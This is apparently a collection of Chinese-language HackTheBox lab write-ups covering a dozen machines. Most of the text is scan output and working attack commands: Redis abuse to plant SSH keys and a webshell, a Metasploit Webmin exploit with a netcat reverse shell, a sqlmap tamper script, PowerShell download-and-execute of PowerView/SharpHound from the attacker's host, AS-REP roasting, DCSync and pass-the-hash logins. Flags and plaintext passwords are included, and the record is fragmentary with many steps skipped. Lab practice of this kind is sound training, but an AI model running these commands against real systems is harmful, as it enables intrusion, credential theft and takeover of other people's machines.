Nmap scan report for 10.10.10.160 Host is up (0.29s latency). Not shown: 9326 closed ports, 672 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) 6379/tcp open redis Redis key-value store 4.0.9 10000/tcp open http MiniServ 1.910 (Webmin httpd) |_http-favicon: Unknown favicon MD5: 91549383E709F4F1DD6C8DAB07890301 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: MiniServ/1.910 |_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1). Aggressive OS guesses: Linux 3.2 - 4.9 (95%), Linux 3.1 (94%), Linux 3.2 (94%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 3.16 (93%), Linux 3.18 (93%), ASUS RT-N56U WAP (Linux 3.4) (93%), Android 4.1.1 (92%), Android 4.1.2 (92%), Android 4.2.2 (Linux 3.4) (92%) No exact OS matches for host (test conditions non-ideal).
Web路径枚举
尝试爆破80端口下的Web路径
未发现有效信息
漏洞利用
尝试直接登入redis服务
1
redis-cli -h 10.10.10.160
利用redis未授权写入ssh密钥,再用ssh登入redis账户
1 2 3 4 5 6 7 8 9
rm -rf ~/.ssh/id* ssh-keygen -t rsa (echo -e "\n\n";cat ~/.ssh/id_rsa.pub;echo -e "\n\n") > new.txt redis-cli -h 10.10.10.160 flushall cat new.txt | redis-cli -h 10.10.10.160 -x set crackit redis-cli -h 10.10.10.160 config set dir /var/lib/redis/.ssh/ redis-cli -h 10.10.10.160 config set dbfilename "authorized_keys" redis-cli -h 10.10.10.160 save ssh -i /root/.ssh/id_rsa redis@10.10.10.160
无法在/var/www/html/目录下写入WebShell
发现文件/opt/id_rsa.bak
1 2 3 4
ls -l /opt
total 4 -rwxr-xr-x 1 Matt Matt 1743 Aug 26 00:11 id_rsa.bak
可以确定是Matt账户的ssh密钥
拷贝到本地之后再用脚本转为john可以破解的密码形式
1 2 3
/usr/share/john/ssh2john.py id_rsa.bak > ssh john --wordlist=/usr/share/wordlists/rockyou.txt ssh computer2008
use exploit/linux/http/webmin_packageup_rce set payload cmd/unix/reverse_netcat set LHOST 10.10.16.14 set RHOSTS 10.10.10.160 set USERNAME Matt set PASSWORD computer2008 set SSL true run
获取root权限
1 2
id uid=0(root) gid=0(root) groups=0(root)
Redis登入之后,可以考虑写入一句话后门/phpinfo这个思路
1 2 3 4
config set dir /var/www/html/ config set dbfilename shell.php set webshell "<?php phpinfo(); ?>" save
Nmap scan report for 10.10.10.239 Host is up (0.87s latency). Not shown: 993 closed ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 443/tcp open ssl/http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27) 445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP) 3306/tcp open mysql? 5000/tcp open http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27) 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port3306-TCP:V=7.91%I=7%D=6/9%Time=60C04557%P=x86_64-pc-linux-gnu%r(NUL SF:L,49,"E\0\0\x01\xffj\x04Host\x20'10\.10\.16\.2'\x20is\x20not\x20allowed SF:\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(GenericLines,4 SF:9,"E\0\0\x01\xffj\x04Host\x20'10\.10\.16\.2'\x20is\x20not\x20allowed\x2 SF:0to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(HTTPOptions,49,"E SF:\0\0\x01\xffj\x04Host\x20'10\.10\.16\.2'\x20is\x20not\x20allowed\x20to\ SF:x20connect\x20to\x20this\x20MariaDB\x20server")%r(RPCCheck,49,"E\0\0\x0 SF:1\xffj\x04Host\x20'10\.10\.16\.2'\x20is\x20not\x20allowed\x20to\x20conn SF:ect\x20to\x20this\x20MariaDB\x20server")%r(DNSStatusRequestTCP,49,"E\0\ SF:0\x01\xffj\x04Host\x20'10\.10\.16\.2'\x20is\x20not\x20allowed\x20to\x20 SF:connect\x20to\x20this\x20MariaDB\x20server")%r(TerminalServerCookie,49, SF:"E\0\0\x01\xffj\x04Host\x20'10\.10\.16\.2'\x20is\x20not\x20allowed\x20t SF:o\x20connect\x20to\x20this\x20MariaDB\x20server")%r(Kerberos,49,"E\0\0\ SF:x01\xffj\x04Host\x20'10\.10\.16\.2'\x20is\x20not\x20allowed\x20to\x20co SF:nnect\x20to\x20this\x20MariaDB\x20server")%r(X11Probe,49,"E\0\0\x01\xff SF:j\x04Host\x20'10\.10\.16\.2'\x20is\x20not\x20allowed\x20to\x20connect\x SF:20to\x20this\x20MariaDB\x20server")%r(FourOhFourRequest,49,"E\0\0\x01\x SF:ffj\x04Host\x20'10\.10\.16\.2'\x20is\x20not\x20allowed\x20to\x20connect SF:\x20to\x20this\x20MariaDB\x20server")%r(LDAPSearchReq,49,"E\0\0\x01\xff SF:j\x04Host\x20'10\.10\.16\.2'\x20is\x20not\x20allowed\x20to\x20connect\x SF:20to\x20this\x20MariaDB\x20server")%r(LDAPBindReq,49,"E\0\0\x01\xffj\x0 SF:4Host\x20'10\.10\.16\.2'\x20is\x20not\x20allowed\x20to\x20connect\x20to SF:\x20this\x20MariaDB\x20server")%r(SIPOptions,49,"E\0\0\x01\xffj\x04Host SF:\x20'10\.10\.16\.2'\x20is\x20not\x20allowed\x20to\x20connect\x20to\x20t SF:his\x20MariaDB\x20server")%r(TerminalServer,49,"E\0\0\x01\xffj\x04Host\ SF:x20'10\.10\.16\.2'\x20is\x20not\x20allowed\x20to\x20connect\x20to\x20th SF:is\x20MariaDB\x20server")%r(NCP,49,"E\0\0\x01\xffj\x04Host\x20'10\.10\. SF:16\.2'\x20is\x20not\x20allowed\x20to\x20connect\x20to\x20this\x20MariaD SF:B\x20server")%r(JavaRMI,49,"E\0\0\x01\xffj\x04Host\x20'10\.10\.16\.2'\x SF:20is\x20not\x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20ser SF:ver"); Service Info: Hosts: www.example.com, LOVE, www.love.htb; OS: Windows; CPE: cpe:/o:microsoft:windows
Nmap scan report for 10.10.10.239 Host is up (0.75s latency).
PORT STATE SERVICE VERSION 443/tcp open ssl/http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27) |_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27 |_http-title: 403 Forbidden | ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in | Not valid before: 2021-01-18T14:00:16 |_Not valid after: 2022-01-18T14:00:16 |_ssl-date: TLS randomness does not represent time | tls-alpn: |_ http/1.1 Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Microsoft Windows 10 1709 - 1909 (95%), Microsoft Windows Longhorn (95%), Microsoft Windows 10 1703 (93%), Microsoft Windows Server 2008 R2 (93%), Microsoft Windows 7 SP1 (93%), Microsoft Windows Vista SP1 (93%), Microsoft Windows 10 1709 - 1803 (93%), Microsoft Windows 10 1809 - 1909 (93%), Microsoft Windows 10 1511 (92%), Microsoft Windows Server 2008 SP2 (92%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: Hosts: www.example.com, www.love.htb
Nmap scan report for 10.10.10.237 Host is up (0.30s latency). Not shown: 996 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27) 135/tcp open msrpc Microsoft Windows RPC 443/tcp open ssl/http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27) 445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP) Service Info: Host: ATOM; OS: Windows; CPE: cpe:/o:microsoft:windows
漏洞利用
1 2 3 4 5 6 7 8 9
smbclient -L 10.10.10.237
Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC Software_Updates Disk SMB1 disabled -- no workgroup available
1 2 3 4 5 6 7 8 9 10 11
smbclient \\\\10.10.10.237\\software_updates
smb: \> dir . D 0 Fri Jun 11 11:18:21 2021 .. D 0 Fri Jun 11 11:18:21 2021 client1 D 0 Fri Jun 11 11:18:21 2021 client3 D 0 Fri Jun 11 11:18:21 2021 UAT_Testing_Procedures.pdf A 35202 Fri Apr 9 19:18:08 2021 4413951 blocks of size 4096. 1381036 blocks available smb: \> get UAT_Testing_Procedures.pdf getting file \UAT_Testing_Procedures.pdf of size 35202 as UAT_Testing_Procedures.pdf (6.3 KiloBytes/sec) (average 6.3 KiloBytes/sec)
Note taking application built with electron-builder which helps users in taking important
notes.
get pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0 "{\"Id\":\"e8e29158d70d44b1a1ba4949d52790a0\",\"Name\":\"Administrator\",\"Initials\":\"\",\"Email\":\"\",\"EncryptedPassword\":\"Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi\",\"Role\":\"Admin\",\"Inactive\":false,\"TimeStamp\":637530169606440253}"
1 2 3
dir c:\users\jason\downloads\
d----- 4/2/2021 8:21 PM PortableKanban
存在一个密码恢复的漏洞
1 2 3 4 5 6 7 8 9 10 11 12
#!/usr/bin/env python3 import json import base64 from des import * # python3 -m pip install des import sys
Warning: file_get_contents(../books/): Failed to open stream: No such file or directory in C:\Users\www-data\Desktop\xampp\htdocs\includes\bookController.php on line 28 false
if(move_uploaded_file($tmp_name, "$uploads_dir/$name")){ $ret = "Success. Have a great weekend!"; } else{ $ret = "Missing file or title :(" ; } } else{ $ret = "Insufficient privileges. Contact admin or developer to upload code. Note: If you recently registered, please wait for one of our admins to approve it."; }
type C:\Users\juliette\Desktop\user.txt c5d9d568c5fc21e0dc0c5819d16aad9f
type C:\Users\juliette\Desktop\todo.html <html> <style> html{ background:black; color:orange; } table,th,td{ border:1px solid orange; padding:1em; border-collapse:collapse; } </style> <table> <tr> <th>Task</th> <th>Status</th> <th>Reason</th> </tr> <tr> <td>Configure firewall for port 22 and 445</td> <td>Not started</td> <td>Unauthorized access might be possible</td> </tr> <tr> <td>Migrate passwords from the Microsoft Store Sticky Notes application to our new password manager</td> <td>In progress</td> <td>It stores passwords in plain text</td> </tr> <tr> <td>Add new features to password manager</td> <td>Not started</td> <td>To get promoted, hopefully lol</td> </tr> </table>
type c:\Users\Administrator\Desktop\root.txt c04f72045d76a74c63a602f199a79ecd
挺综合的一台机器
HackTheBox_Proper
端口扫描
1 2 3 4 5 6 7 8
nmap -sV -sT -Pn 10.10.10.231
Nmap scan report for 10.10.10.231 Host is up (0.081s latency). Not shown: 999 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
<?php // [8] Undefined index: order On line 6 in file C:\inetpub\wwwroot\products-ajax.php define('SECURE_PARAM_SALT','hie0shah6ooNoim'); include('functions.php'); include('db-config.php'); if ( !$_GET['order'] || !$_GET['h'] ) { // Set the response code to 500 http_response_code(500); // and die(). Someone fiddled with the parameters. die('Parameter missing or malformed.'); } ?>
测试得到以下算法
Hash = md5(Salt+Payload)
SQLMap tamper
1 2 3 4 5 6 7 8 9 10 11 12
#!/usr/bin/env python3 import os import string import hashlib from urllib.parse import quote_plus from lib.core.enums import PRIORITY
deftamper(payload, **kwargs): salt = b"hie0shah6ooNoim" h = hashlib.md5(salt + payload.encode()).hexdigest() retVal = "{}&h={}".format(payload, h) return retVal
<?php // [2] include(/header.inc): failed to open stream: No such file or directory On line 36 in file C:\inetpub\wwwroot\functions.php // Following function securely includes a file. Whenever we // will encounter a PHP tag we will just bail out here. functionsecure_include($file) { if (strpos(file_get_contents($file),'<?') === false) { include($file); //<<<<< Error encountered in this line. } else { http_response_code(403); die('Forbidden - Tampering attempt detected.'); } } ?>
Nmap scan report for 10.10.10.100 Host is up (0.59s latency). Not shown: 982 closed ports PORT STATE SERVICE VERSION 53/tcp open domain Microsoft DNS 6.1.7601 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-07-04 09:21:59Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 3389/tcp open ms-wbt-server Microsoft Terminal Service 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49158/tcp open msrpc Microsoft Windows RPC Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
========================== | Target Information | ========================== Target ........... 10.10.10.100 RID Range ........ 500-550,1000-1050 Username ......... '' Password ......... '' Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
------
====================================== | OS information on 10.10.10.100 | ====================================== Use of uninitialized value $global_workgroupin concatenation (.) or string at ./enum4linux.pl line 458. Use of uninitialized value $os_infoin concatenation (.) or string at ./enum4linux.pl line 464. [+] Got OS info for 10.10.10.100 from smbclient: Use of uninitialized value $global_workgroupin concatenation (.) or string at ./enum4linux.pl line 467. [+] Got OS info for 10.10.10.100 from srvinfo: 10.10.10.100 Wk Sv PDC Tim NT Domain Controller platform_id : 500 os version : 6.1 server type : 0x80102b
------
========================================= | Share Enumeration on 10.10.10.100 | ========================================= Use of uninitialized value $global_workgroupin concatenation (.) or string at ./enum4linux.pl line 640.
Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin attacker_folder Disk C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share Replication Disk SYSVOL Disk Logon server share Users Disk
应该可以匿名登录
1 2 3 4 5 6 7 8 9 10 11 12
smbmap -H 10.10.10.100
Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin attacker_folder NO ACCESS C$ NO ACCESS Default share IPC$ NO ACCESS Remote IPC NETLOGON NO ACCESS Logon server share Replication READ ONLY SYSVOL NO ACCESS Logon server share Users NO ACCESS
下载整个文件夹
1 2 3 4 5
smbclient //10.10.10.100/Replication mask "" recurse ON prompt OFF mget active.htb
type \users\administrator\desktop\root.txt b5fc76d1d6b91d77b2fbf2d54d0f708b
HackTheBox_Bastion
端口扫描
1 2 3 4 5 6 7 8 9 10 11
nmap -sV -sT -Pn 10.10.10.134
Nmap scan report for 10.10.10.134 Host is up (0.59s latency). Not shown: 996 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH for_Windows_7.9 (protocol 2.0) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
HackTheBox_漏洞利用
smbmap扫描路径
1 2 3 4 5 6 7
smbmap -H 10.10.10.134 -u test Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin Backups READ, WRITE C$ NO ACCESS Default share IPC$ READ ONLY Remote IPC
dir WindowsImageBackup\L4mpje-PC\"Backup 2019-02-22 124351"\ . Dn 0 Fri Feb 22 20:45:32 2019 .. Dn 0 Fri Feb 22 20:45:32 2019 9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd An 37761024 Fri Feb 22 20:44:03 2019 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd An 5418299392 Fri Feb 22 20:45:32 2019 BackupSpecs.xml An 1186 Fri Feb 22 20:45:32 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_AdditionalFilesc3b9f3c7-5e52-4d5e-8b20-19adc95a34c7.xml An 1078 Fri Feb 22 20:45:32 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_Components.xml An 8930 Fri Feb 22 20:45:32 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_RegistryExcludes.xml An 6542 Fri Feb 22 20:45:32 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer4dc3bdd4-ab48-4d07-adb0-3bee2926fd7f.xml An 2894 Fri Feb 22 20:45:32 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer542da469-d3e1-473c-9f4f-7847f01fc64f.xml An 1488 Fri Feb 22 20:45:32 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_Writera6ad56c2-b509-4e6c-bb19-49d8f43532f0.xml An 1484 Fri Feb 22 20:45:32 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerafbab4a2-367d-4d15-a586-71dbb18f8485.xml An 3844 Fri Feb 22 20:45:32 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerbe000cbe-11fe-4426-9c58-531aa6355fc4.xml An 3988 Fri Feb 22 20:45:32 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_Writercd3f2362-8bef-46c7-9181-d62844cdc0b2.xml An 7110 Fri Feb 22 20:45:32 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_Writere8132975-6f93-4464-a53e-1050253ae220.xml An 2374620 Fri Feb 22 20:45:32 2019 7735807 blocks of size 4096. 2757267 blocks available
ssh administrator@10.10.10.134 thXLHM96BeKL0ER2 type \Users\Administrator\Desktop\root.txt
958850b91811676ed6620a9c430e65c8
HackTheBox_Forest
端口扫描
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
nmap -sV -sT -Pn 10.10.10.161
Nmap scan report for 10.10.10.161 Host is up (0.081s latency). Not shown: 989 closed ports PORT STATE SERVICE VERSION 53/tcp open domain Microsoft DNS 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-07-05 14:34:46Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name) 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: HTB) 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
=========================================== | Getting domain SID for 10.10.10.161 | =========================================== Domain Name: HTB Domain Sid: S-1-5-21-3072663084-364016917-1341370565 [+] Host is part of a domain (not a workgroup)
Typically that requires credentials on the domain to authenticate with. There is an option for an account to have the property “Do not require Kerberos preauthentication” or UF_DONT_REQUIRE_PREAUTH set to true. AS-REP Roasting is an attack against Kerberos for these accounts.
iex(new-object net.webclient).downloadstring("http://10.10.16.11:9998/PowerView.ps1") iex(new-object net.webclient).downloadstring("http://10.10.16.11:9998/SharpHound.ps1") powershell -exec bypass invoke-bloodhound -collectionmethod all -domain htb.local -ldapuser svc-alfresco -ldappass s3rvice net use \\10.10.16.11\Bufferfly /u:Buffer fly copy 20210705223815_BloodHound.zip \\10.10.16.11\Bufferfly\ net use /d \\10.10.16.11\Bufferfly
bloodhound的内容实在是看不懂,看了WP
大概思路是
用户"svc-alfresco"拥有账户操作权限,可以创建域账户
用户"svc-alfresco"完全控制"Exchange Windows Permissions"组(GenericAll),可以将"svc-alfresco"加入"Exchange Windows Permissions"组
"Exchange Windows Permissions"组可以修改域用户的ACL(WriteDacl)
用户"svc-alfresco"利用"Exchange Windows Permissions"组的权限赋予"DCSync"权限
利用这个域账户进行DCSync攻击
添加域用户
1
net user bufferfly bufferfly /add /domain
执行命令后重新Getshell
1
Add-ADGroupMember -Identity "Exchange Windows Permissions" -Members svc-alfresco
查看组
1 2 3 4
whoami /groups
HTB\Exchange Windows Permissions Group S-1-5-21-3072663084-364016917-1341370565-1121 Mandatory group, Enabled by default, Enabled group HTB\Exchange Trusted Subsystem Group S-1-5-21-3072663084-364016917-1341370565-1119 Mandatory group, Enabled by default, Enabled grou
evil-winrm -i 10.10.10.161 -u administrator -H 32693b11e6aa90eb43d32c72a07ceea6 type c:\users\administrator\desktop\root.txt
f048153f202bbb2f82622b04d79129cc
貌似svc-alfresco不是域用户,而DCSync的操作需要一个域用户的凭证
Powershell在运行命令时貌似会自动地从ps1文件载入函数,很方便
HackTheBox_Heist
端口扫描
1 2 3 4 5 6 7 8 9 10
nmap -sV -sT -Pn 10.10.10.149
Nmap scan report for 10.10.10.149 Host is up (0.24s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 135/tcp open msrpc Microsoft Windows RPC 445/tcp open microsoft-ds? Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
evil-winrm -i 10.10.10.149 -u administrator -p '4dD!5}x/re8]FBuZ' type c:\users\administrator\desktop\root.txt
50dfa3c6bfd20e2e0d071b073d766897
还是没想通为啥hydra爆不了smb,以后有机会再试试
HachTheBox_Knife
端口扫描
1 2 3 4 5 6 7 8 9
nmap -sV -Pn -T5 10.10.10.242
Nmap scan report for 10.10.10.242 Host is up (0.36s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
漏洞利用
得到PHP版本信息
1 2 3 4 5 6 7
curl -I http://10.10.10.242/
HTTP/1.1 200 OK Date: Thu, 05 Aug 2021 05:54:34 GMT Server: Apache/2.4.41 (Ubuntu) X-Powered-By: PHP/8.1.0-dev Content-Type: text/html; charset=UTF-8
查询得到相关漏洞
1 2 3 4 5 6 7 8 9
searchsploit php 8.1 dev
----------------------------------------------------------- --------------------------------- Exploit Title | Path ----------------------------------------------------------- --------------------------------- PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution | php/webapps/49933.py ----------------------------------------------------------- --------------------------------- Shellcodes: No Results Papers: No Results
Matching Defaults entries for james on knife: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User james may run the following commands on knife: (root) NOPASSWD: /usr/bin/knife
Nmap scan report for 10.10.10.245 Host is up (0.28s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) 80/tcp open http gunicorn Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Nmap scan report for 10.10.11.100 Host is up (0.25s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
// TODO -> Implement login system with the database. $dbserver = "localhost"; $dbname = "bounty"; $dbusername = "admin"; $dbpassword = "m19RoAU0hP41A1sTsq6K"; $testuser = "test";
登入SSH服务
1 2
ssh development@10.10.11.100 m19RoAU0hP41A1sTsq6K
1 2 3
cat /home/development/user.txt
96248cc10e05f03e3b63eb59adfd9d4c
权限提升
1 2 3 4 5 6 7 8 9 10 11
cat /home/development/contract.txt
Hey team,
I'll be out of the office this week but please make sure that our contract with Skytrain Inc gets completed.
This has been our first job since the "rm -rf" incident and we can't mess this up. Whenever one of you gets on please have a look at the internal tool they sent over. There have been a handful of tickets submitted that have been failing validation and I need you to figure out why.
I set up the permissions for you to test this. Good luck.
-- John
查看sudo权限
1 2 3 4 5 6 7 8
sudo -l
Matching Defaults entries for development on bountyhunter: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User development may run the following commands on bountyhunter: (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
cat /opt/skytrain_inc/ticketValidator.py #Skytrain Inc Ticket Validation System 0.1 #Do not distribute this file.
defload_file(loc): if loc.endswith(".md"): returnopen(loc, 'r') else: print("Wrong file type.") exit()
defevaluate(ticketFile): #Evaluates a ticket to check for ireggularities. code_line = None for i,x inenumerate(ticketFile.readlines()): if i == 0: ifnot x.startswith("# Skytrain Inc"): returnFalse continue if i == 1: ifnot x.startswith("## Ticket to "): returnFalse print(f"Destination: {' '.join(x.strip().split(' ')[3:])}") continue
if x.startswith("__Ticket Code:__"): code_line = i+1 continue
if code_line and i == code_line: ifnot x.startswith("**"): returnFalse ticketCode = x.replace("**", "").split("+")[0] ifint(ticketCode) % 7 == 4: validationNumber = eval(x.replace("**", "")) if validationNumber > 100: returnTrue else: returnFalse returnFalse
defmain(): fileName = input("Please enter the path to the ticket file.\n") ticket = load_file(fileName) #DEBUG print(ticket) result = evaluate(ticket) if (result): print("Valid ticket.") else: print("Invalid ticket.") ticket.close
Nmap scan report for 10.10.10.248 Host is up (0.21s latency). Not shown: 988 filtered ports PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-07-18 12:54:48Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name) 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name) 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name) Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
漏洞利用
访问80端口,可以看到主页上有两个PDF的链接
尝试枚举其他PDF
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
#pdf.py import requests req = requests.session() for i inrange(3): for j inrange(1, 13): for k inrange(31): year = str(2020 + i) month = ("0" + str(j)) iflen(str(j)) == 1elsestr(j) day = ("0" + str(k)) iflen(str(k)) == 1elsestr(k) url = "http://10.10.10.248/documents/" + year + "-" + month + "-" + day + "-upload.pdf" res = req.get(url) if res.status_code == 200: filename = year + "-" + month + "-" + day + "-upload.pdf" print(filename) file = open(filename, "wb") file.write(res.content)
获取PDF的用户名
1 2 3 4 5 6 7 8
#pdf.sh filelist=`ls *.pdf` filenum=`ls *.pdf|wc -l` for ((i=1;i<=$filenum;i++)) do filename[${i}]=`ls *.pdf| sed -n ${i}p` echo `exiftool ${filename[${i}]} | grep Creator | awk -F \ '{print \$3}'` >> user done
Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share IPC$ READ ONLY Remote IPC IT READ ONLY NETLOGON READ ONLY Logon server share SYSVOL READ ONLY Logon server share Users READ ONLY
获得user.txt
1 2 3
smbclient //10.10.10.248/users -U Tiffany.Molina NewIntelligenceCorpUser9876 cd Tiffany.Molina\Desktop\ get user.txt
1 2 3
cat user.txt
bbfd0948d53d769c6ec2fcc02181fa7b
权限提升
获取powershell脚本
1 2
smbclient //10.10.10.248/IT -U Tiffany.Molina NewIntelligenceCorpUser9876 get downdetector.ps1
1 2 3 4 5 6 7 8 9 10 11 12
cat downdetector.ps1
# Check web server status. Scheduled to run every 5min Import-Module ActiveDirectory foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*") { try { $request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials if(.StatusCode -ne 200) { Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down" } } catch {} }
evil-winrm -i 10.10.10.248 -u administrator -H 9075113fe16cf74f7c0f9b27e882dad3 type c:\users\administrator\desktop\root.txt
0c6b9779d283e244e79b11c78fc1fb92
HackTheBox_Archetype
Windows
端口扫描
1 2 3 4 5 6 7 8 9 10 11
nmap -sV -sT -Pn 10.10.10.27
Nmap scan report for 10.10.10.27 Host is up (0.51s latency). Not shown: 996 closed ports PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds 1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000 Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
